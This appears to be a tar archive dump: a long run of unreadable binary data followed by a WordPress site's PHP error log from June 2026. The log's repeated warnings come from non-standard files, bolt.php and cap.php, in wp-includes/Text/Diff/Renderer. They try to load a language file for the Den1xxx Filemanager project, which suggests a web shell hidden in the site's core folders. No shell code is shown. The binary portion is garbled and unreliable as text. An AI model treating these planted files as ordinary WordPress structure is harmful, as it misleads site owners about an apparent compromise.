m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
